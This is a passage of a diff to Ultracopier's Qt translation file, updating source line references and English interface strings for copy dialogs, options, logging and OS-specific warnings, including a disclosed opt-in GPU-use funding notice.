+ <location filename="../../../Core.cpp" line="45"/>
+ <location filename="../../../Core.cpp" line="142"/>
+ <location filename="../../../Core.cpp" line="157"/>
+ <location filename="../../../Core.cpp" line="177"/>
+ <location filename="../../../Core.cpp" line="191"/>
+ <location filename="../../../Core.cpp" line="200"/>
<location filename="../../../Core.cpp" line="209"/>
- <location filename="../../../Core.cpp" line="218"/>
- <location filename="../../../Core.cpp" line="227"/>
<source>Unable to get a copy engine instance</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../Core.cpp" line="234"/>
- <source>The argument for the mode is not understand</source>
+ <location filename="../../../Core.cpp" line="93"/>
+ <source>Group window</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../Core.cpp" line="93"/>
+ <source>Do you want group the transfer with another actual running transfer?</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../Core.cpp" line="116"/>
+ <source>Unable to get a engine instance</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../Core.cpp" line="270"/>
- <location filename="../../../Core.cpp" line="386"/>
+ <location filename="../../../Core.cpp" line="216"/>
+ <source>The argument for the mode is not valid</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../Core.cpp" line="1133"/>
+ <source>Do you want to copy? If no, it will be moved.</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../Core.cpp" line="250"/>
+ <location filename="../../../Core.cpp" line="387"/>
<source>Unable to load the interface, copy aborted</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../Core.cpp" line="391"/>
+ <location filename="../../../Core.cpp" line="392"/>
<source>Unable to load the copy engine, copy aborted</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../Core.cpp" line="953"/>
+ <location filename="../../../Core.cpp" line="1133"/>
<source>Transfer mode</source>
<translation type="unfinished"></translation>
</message>
+</context>
+<context>
+ <name>EventDispatcher</name>
+ <message>
+ <location filename="../../../EventDispatcher.cpp" line="155"/>
+ <source>Key</source>
+ <translation type="unfinished"></translation>
+ </message>
<message>
- <location filename="../../../Core.cpp" line="953"/>
- <source>Do you want do as a copy? Else if you reply no, it will be moved.</source>
+ <location filename="../../../EventDispatcher.cpp" line="155"/>
+ <source>Give the key of this software, more information on &lt;a href=&quot;http://ultracopier.first-world.info/&quot;&gt;ultracopier.first-world.info&lt;/a&gt;</source>
<translation type="unfinished"></translation>
</message>
</context>
<context>
<name>FacilityEngine</name>
<message>
- <location filename="../../../FacilityEngine.cpp" line="40"/>
+ <location filename="../../../FacilityEngine.cpp" line="43"/>
<source>Copy engine</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="41"/>
+ <location filename="../../../FacilityEngine.cpp" line="45"/>
<source>Copy</source>
+ <extracomment>a copy</extracomment>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="42"/>
+ <location filename="../../../FacilityEngine.cpp" line="49"/>
<source>Move</source>
+ <extracomment>a move</extracomment>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="43"/>
+ <location filename="../../../FacilityEngine.cpp" line="51"/>
<source>Pause</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="44"/>
+ <location filename="../../../FacilityEngine.cpp" line="52"/>
<source>Resume</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="45"/>
- <location filename="../../../FacilityEngine.cpp" line="59"/>
+ <location filename="../../../FacilityEngine.cpp" line="53"/>
+ <location filename="../../../FacilityEngine.cpp" line="67"/>
<source>Skip</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="46"/>
+ <location filename="../../../FacilityEngine.cpp" line="54"/>
<source>Unlimited</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="24"/>
+ <location filename="../../../FacilityEngine.cpp" line="27"/>
<source>s</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="25"/>
+ <location filename="../../../FacilityEngine.cpp" line="28"/>
<source>Too big</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="26"/>
+ <location filename="../../../FacilityEngine.cpp" line="29"/>
<source>B</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="27"/>
+ <location filename="../../../FacilityEngine.cpp" line="30"/>
<source>KB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="28"/>
+ <location filename="../../../FacilityEngine.cpp" line="31"/>
<source>MB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="29"/>
+ <location filename="../../../FacilityEngine.cpp" line="32"/>
<source>GB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="30"/>
+ <location filename="../../../FacilityEngine.cpp" line="33"/>
<source>TB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="31"/>
+ <location filename="../../../FacilityEngine.cpp" line="34"/>
<source>PB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="32"/>
+ <location filename="../../../FacilityEngine.cpp" line="35"/>
<source>EB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="33"/>
+ <location filename="../../../FacilityEngine.cpp" line="36"/>
<source>ZB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="34"/>
+ <location filename="../../../FacilityEngine.cpp" line="37"/>
<source>YB</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="35"/>
+ <location filename="../../../FacilityEngine.cpp" line="38"/>
<source>Less than %10 seconds</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="36"/>
+ <location filename="../../../FacilityEngine.cpp" line="39"/>
<source>About %10 seconds remaining</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="37"/>
+ <location filename="../../../FacilityEngine.cpp" line="40"/>
<source>About %1 minutes remaining</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="38"/>
+ <location filename="../../../FacilityEngine.cpp" line="41"/>
<source>About %1 hours remaining</source>
<translation type="unfinished"></translation>
</message>
<message>
<location filename="../../../FacilityEngine.cpp" line="47"/>
+ <source>Transfer</source>
+ <extracomment>a transfer</extracomment>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="50"/>
+ <source>Start</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="55"/>
<source>Source</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="48"/>
+ <location filename="../../../FacilityEngine.cpp" line="56"/>
<source>Size</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="49"/>
+ <location filename="../../../FacilityEngine.cpp" line="57"/>
<source>Destination</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="50"/>
+ <location filename="../../../FacilityEngine.cpp" line="58"/>
<source>Quit</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="51"/>
+ <location filename="../../../FacilityEngine.cpp" line="59"/>
<source>Target</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="52"/>
- <location filename="../../../FacilityEngine.cpp" line="56"/>
+ <location filename="../../../FacilityEngine.cpp" line="60"/>
+ <location filename="../../../FacilityEngine.cpp" line="64"/>
<source>Time remaining:</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="53"/>
+ <location filename="../../../FacilityEngine.cpp" line="61"/>
<source>Listing</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="54"/>
+ <location filename="../../../FacilityEngine.cpp" line="62"/>
<source>Copying</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="55"/>
+ <location filename="../../../FacilityEngine.cpp" line="63"/>
<source>Listing and copying</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="58"/>
+ <location filename="../../../FacilityEngine.cpp" line="66"/>
<source>Ask</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="60"/>
+ <location filename="../../../FacilityEngine.cpp" line="68"/>
<source>Overwrite</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="61"/>
+ <location filename="../../../FacilityEngine.cpp" line="69"/>
<source>Overwrite if newer</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="62"/>
+ <location filename="../../../FacilityEngine.cpp" line="70"/>
<source>Overwrite if the last modification dates are different</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="63"/>
+ <location filename="../../../FacilityEngine.cpp" line="71"/>
<source>Rename</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="64"/>
- <source>Put to end of the list</source>
+ <location filename="../../../FacilityEngine.cpp" line="72"/>
+ <source>Put to the end of the list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="65"/>
+ <location filename="../../../FacilityEngine.cpp" line="73"/>
<source>Select source directory</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="66"/>
+ <location filename="../../../FacilityEngine.cpp" line="74"/>
<source>Select destination directory</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="67"/>
+ <location filename="../../../FacilityEngine.cpp" line="75"/>
<source>Internal error</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="68"/>
+ <location filename="../../../FacilityEngine.cpp" line="76"/>
<source>Select one or more files to open</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="69"/>
+ <location filename="../../../FacilityEngine.cpp" line="77"/>
<source>All files</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="70"/>
+ <location filename="../../../FacilityEngine.cpp" line="78"/>
<source>Save transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="71"/>
+ <location filename="../../../FacilityEngine.cpp" line="79"/>
<source>Open transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="72"/>
+ <location filename="../../../FacilityEngine.cpp" line="80"/>
<source>Transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="73"/>
+ <location filename="../../../FacilityEngine.cpp" line="81"/>
<source>Error</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="74"/>
+ <location filename="../../../FacilityEngine.cpp" line="82"/>
<source>Not supported on this platform</source>
<translation type="unfinished"></translation>
</message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="83"/>
+ <source>Completed in %1</source>
+ <translation type="unfinished"></translation>
+ </message>
</context>
<context>
<name>HelpDialog</name>
<message>
- <location filename="../../../HelpDialog.ui" line="20"/>
- <source>About ultracopier</source>
+ <location filename="../../../HelpDialog.cpp" line="37"/>
+ <source>About Ultracopier</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="70"/>
- <source>Based on Qt. It provide advanced copier with more advanced feature. It&apos;s under GPL3.
+ <location filename="../../../HelpDialog.ui" line="67"/>
+ <source>Based on Qt. Advanced utility to copy files under GPL3 license.
This version is compiled as version: %1.</source>
<extracomment>%1 will be replaced by a variable content (normal, debug, ...)</extracomment>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="88"/>
+ <location filename="../../../HelpDialog.ui" line="85"/>
<source>Platform: %1</source>
<extracomment>%1 will be replaced by the platform (windows, mac, linux, ...)</extracomment>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="149"/>
+ <location filename="../../../HelpDialog.ui" line="121"/>
<source>About Qt</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="169"/>
+ <location filename="../../../HelpDialog.ui" line="141"/>
<source>Do a crash</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="176"/>
+ <location filename="../../../HelpDialog.ui" line="148"/>
<source>Save bug report</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="183"/>
+ <location filename="../../../HelpDialog.ui" line="155"/>
<source>Close</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.cpp" line="74"/>
+ <location filename="../../../HelpDialog.cpp" line="35"/>
+ <source>About Supercopier</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.cpp" line="80"/>
<source>For http://portableapps.com/</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.cpp" line="76"/>
+ <location filename="../../../HelpDialog.cpp" line="83"/>
+ <source>Portable and all in one version</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.cpp" line="85"/>
<source>Portable version</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.cpp" line="79"/>
+ <location filename="../../../HelpDialog.cpp" line="90"/>
+ <source>All in one version</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.cpp" line="92"/>
<source>Normal version</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.cpp" line="85"/>
+ <location filename="../../../HelpDialog.cpp" line="110"/>
+ <location filename="../../../HelpDialog.cpp" line="112"/>
+ <location filename="../../../HelpDialog.cpp" line="123"/>
<source>http://ultracopier.first-world.info/</source>
- <extracomment>This site need be the official site of ultracopier, into the right languages, english if not exists</extracomment>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="78"/>
+ <location filename="../../../HelpDialog.cpp" line="120"/>
+ <source>http://ultracopier.first-world.info/shop.html</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.cpp" line="125"/>
+ <source>http://ultracopier.first-world.info/download.html</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.ui" line="75"/>
<source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;For more information see the website &lt;a href=&quot;%1&quot;&gt;&lt;span style=&quot; text-decoration: underline; color:#0057ae;&quot;&gt;%1&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
<extracomment>%1 will be remplaced by the website into the corresponding languages</extracomment>
<translation type="unfinished"></translation>
@@ -480,12 +569,12 @@ This version is compiled as version: %1.</source>
<context>
<name>LocalListener</name>
<message>
- <location filename="../../../LocalListener.cpp" line="128"/>
+ <location filename="../../../LocalListener.cpp" line="146"/>
<source>Warning</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../LocalListener.cpp" line="128"/>
+ <location filename="../../../LocalListener.cpp" line="146"/>
<source>Timeout while recomposing data from connected clients</source>
<translation type="unfinished"></translation>
</message>
@@ -493,21 +582,74 @@ This version is compiled as version: %1.</source>
<context>
<name>LogThread</name>
<message>
- <location filename="../../../LogThread.cpp" line="65"/>
- <location filename="../../../LogThread.cpp" line="74"/>
- <location filename="../../../LogThread.cpp" line="84"/>
+ <location filename="../../../LogThread.cpp" line="106"/>
+ <location filename="../../../LogThread.cpp" line="115"/>
+ <location filename="../../../LogThread.cpp" line="125"/>
<source>Error</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../LogThread.cpp" line="65"/>
+ <location filename="../../../LogThread.cpp" line="106"/>
<source>Log file already open, error: %1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../LogThread.cpp" line="74"/>
- <location filename="../../../LogThread.cpp" line="84"/>
- <source>Unable to open file to keep the log file, error: %1</source>
+ <location filename="../../../LogThread.cpp" line="115"/>
+ <location filename="../../../LogThread.cpp" line="125"/>
+ <source>Unable to open the log file, error: %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>OSSpecific</name>
+ <message>
+ <location filename="../../../OSSpecific.ui" line="26"/>
+ <source>Warning</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.ui" line="58"/>
+ <source>Don&apos;t show again</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.ui" line="83"/>
+ <source>Ok</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="23"/>
+ <source>The replacement of default copy/move system is not supported by the file manager (Dolphin, Nautilus, ...).&lt;br /&gt;Ask the developer to support it.&lt;br /&gt;You need do the copy/move manually.</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="25"/>
+ <source>Reboot the system if previously had similar software installed (like Teracopy, Supercopier or an earlier version of Ultracopier).</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="27"/>
+ <source>The replacement of default copy/move system is not supported and blocked by finder of Mac OS X.&lt;br /&gt;You need do the copy/move manually by right clicking on the system tray icon near the clock (not the dock icon).</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="29"/>
+ <source>The replacement of default copy/move system should be not supported by the file manager.&lt;br /&gt;Ask to the developer to support it.&lt;br /&gt;You need do the copy/move manually.</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="32"/>
+ <source>Consider Supercopier as deprecated, prefer Ultracopier</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="35"/>
+ <source>This version use 100% of you graphic card/GPU (you computer can be noisy, or slow/buggy during the games) at exchange of free access to Ultimate version. If you don&apos;t wish it, download the normal version with a small advertisement (just a link on the main window) or buy the Ultimate version to fund the project.</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="36"/>
+ <source>http://ultracopier.first-world.info/download.html</source>
<translation type="unfinished"></translation>
</message>
</context>
@@ -531,257 +673,318 @@ This version is compiled as version: %1.</source>
</message>
<message>
<location filename="../../../OptionDialog.ui" line="66"/>
- <location filename="../../../OptionDialog.ui" line="275"/>
- <location filename="../../../OptionDialog.cpp" line="186"/>
+ <location filename="../../../OptionDialog.ui" line="322"/>
+ <location filename="../../../OptionDialog.cpp" line="354"/>
<source>Copy engine</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="95"/>
- <location filename="../../../OptionDialog.ui" line="303"/>
+ <location filename="../../../OptionDialog.ui" line="92"/>
+ <location filename="../../../OptionDialog.ui" line="350"/>
<source>Themes</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="100"/>
+ <location filename="../../../OptionDialog.ui" line="97"/>
<source>Log</source>
<translation type="unfinished"></translation>
</message>
<message>
+ <location filename="../../../OptionDialog.ui" line="222"/>
+ <source>Confirm to group the windows</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="245"/>
+ <source>Check for updates</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="312"/>
+ <source>Name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="317"/>
+ <source>Version</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="327"/>
+ <source>Language</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="71"/>
+ <location filename="../../../OptionDialog.ui" line="335"/>
+ <location filename="../../../OptionDialog.cpp" line="355"/>
+ <source>Listener</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="76"/>
+ <location filename="../../../OptionDialog.ui" line="340"/>
+ <location filename="../../../OptionDialog.cpp" line="356"/>
+ <source>Plugin loader</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="84"/>
+ <location filename="../../../OptionDialog.ui" line="345"/>
+ <location filename="../../../OptionDialog.cpp" line="357"/>
+ <source>Session loader</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
<location filename="../../../OptionDialog.ui" line="117"/>
- <source>Language:</source>
+ <source>Force the language</source>
<translation type="unfinished"></translation>
</message>
<message>
<location filename="../../../OptionDialog.ui" line="127"/>
- <source>Autodetect the system language:</source>
+ <source>Replace the default copy and move system</source>
<translation type="unfinished"></translation>
</message>
<message>
<location filename="../../../OptionDialog.ui" line="141"/>
- <source>Catch the copy/move as default:</source>
+ <source>Load at the session loading</source>
<translation type="unfinished"></translation>
</message>
<message>
<location filename="../../../OptionDialog.ui" line="155"/>
- <source>Load at the session loading:</source>
+ <source>When manual open</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="265"/>
- <source>Name</source>
+ <location filename="../../../OptionDialog.ui" line="181"/>
+ <source>Group the windows when</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="270"/>
- <source>Version</source>
+ <location filename="../../../OptionDialog.ui" line="229"/>
+ <source>Display the OS warning</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="280"/>
- <source>Language</source>
+ <location filename="../../../OptionDialog.ui" line="255"/>
+ <source>Give GPU time to fund the development</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="71"/>
- <location filename="../../../OptionDialog.ui" line="288"/>
- <location filename="../../../OptionDialog.cpp" line="187"/>
- <source>Listener</source>
+ <location filename="../../../OptionDialog.ui" line="262"/>
+ <source>Remaining time algorithm</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="79"/>
- <location filename="../../../OptionDialog.ui" line="293"/>
- <location filename="../../../OptionDialog.cpp" line="188"/>
- <source>Plugin loader</source>
+ <location filename="../../../OptionDialog.ui" line="270"/>
+ <source>Traditional</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="87"/>
- <location filename="../../../OptionDialog.ui" line="298"/>
- <location filename="../../../OptionDialog.cpp" line="189"/>
- <source>Session loader</source>
+ <location filename="../../../OptionDialog.ui" line="275"/>
+ <source>Logarithmic</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="311"/>
+ <location filename="../../../OptionDialog.ui" line="358"/>
<source>Plugin</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="330"/>
+ <location filename="../../../OptionDialog.ui" line="377"/>
<source>Add</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="343"/>
+ <location filename="../../../OptionDialog.ui" line="390"/>
<source>Remove</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="353"/>
+ <location filename="../../../OptionDialog.ui" line="400"/>
<source>Information</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="380"/>
+ <location filename="../../../OptionDialog.ui" line="427"/>
<source>Copy engine by order of preference:</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="493"/>
+ <location filename="../../../OptionDialog.ui" line="498"/>
+ <source>Client connected</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="554"/>
<source>Themes:</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="555"/>
+ <location filename="../../../OptionDialog.ui" line="616"/>
<source>Unable to load the themes plugin</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="655"/>
+ <location filename="../../../OptionDialog.ui" line="716"/>
<source>Browse</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="687"/>
- <location filename="../../../OptionDialog.ui" line="700"/>
+ <location filename="../../../OptionDialog.ui" line="741"/>
+ <source>Write the transfers</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="748"/>
<source>The variables are %time%, %source%, %size%, %destination%</source>
- <extracomment>%time%, %source%, %size%, %destination% should not be translated
-----------
-%time%, %source%, %size%, %destination% should not be translated</extracomment>
+ <extracomment>%time%, %source%, %size%, %destination% should not be translated</extracomment>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="717"/>
- <location filename="../../../OptionDialog.ui" line="730"/>
+ <location filename="../../../OptionDialog.ui" line="771"/>
+ <source>Write the errors</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="778"/>
<source>The variables are %time%, %path%, %size%, %mtime%, %error%</source>
- <extracomment>%time%, %path%, %size%, %mtime%, %error% should not be translated
-----------
-%time%, %path%, %size%, %mtime%, %error% should not be translated</extracomment>
+ <extracomment>%time%, %path%, %size%, %mtime%, %error% should not be translated</extracomment>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="636"/>
+ <location filename="../../../OptionDialog.ui" line="697"/>
<source>Write the log file into:</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="680"/>
- <source>Write the transfers:</source>
+ <location filename="../../../OptionDialog.ui" line="728"/>
+ <source>Write directly to the file when it receive a new entry (can produce 50% of lost of performance)</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="710"/>
- <source>Write the errors:</source>
+ <location filename="../../../OptionDialog.cpp" line="260"/>
+ <location filename="../../../OptionDialog.cpp" line="274"/>
+ <source>Load</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="740"/>
- <source>Write the folder operations:</source>
+ <location filename="../../../OptionDialog.cpp" line="260"/>
+ <source>Load the theme?</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="190"/>
- <location filename="../../../OptionDialog.cpp" line="191"/>
- <location filename="../../../OptionDialog.cpp" line="321"/>
- <location filename="../../../OptionDialog.cpp" line="322"/>
- <source>Disabled because you have any SessionLoader plugin</source>
+ <location filename="../../../OptionDialog.cpp" line="274"/>
+ <source>Load the language?</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="192"/>
+ <location filename="../../../OptionDialog.cpp" line="362"/>
<source>Do nothing</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="193"/>
+ <location filename="../../../OptionDialog.cpp" line="363"/>
<source>Ask source as folder</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="194"/>
+ <location filename="../../../OptionDialog.cpp" line="364"/>
<source>Ask sources as files</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="195"/>
+ <location filename="../../../OptionDialog.cpp" line="365"/>
<source>Never</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="196"/>
+ <location filename="../../../OptionDialog.cpp" line="366"/>
<source>When source is same</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="197"/>
+ <location filename="../../../OptionDialog.cpp" line="367"/>
<source>When destination is same</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="198"/>
+ <location filename="../../../OptionDialog.cpp" line="368"/>
<source>When source and destination are same</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="199"/>
+ <location filename="../../../OptionDialog.cpp" line="369"/>
<source>When source or destination are same</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="200"/>
+ <location filename="../../../OptionDialog.cpp" line="370"/>
<source>Always</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="792"/>
- <source>Save logs as: </source>
+ <location filename="../../../OptionDialog.cpp" line="384"/>
+ <location filename="../../../OptionDialog.cpp" line="385"/>
+ <location filename="../../../OptionDialog.cpp" line="386"/>
+ <source>The variables are %1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="667"/>
- <source>This write directly the file when it receive the new entry, but it can produce 50% of lost of performance</source>
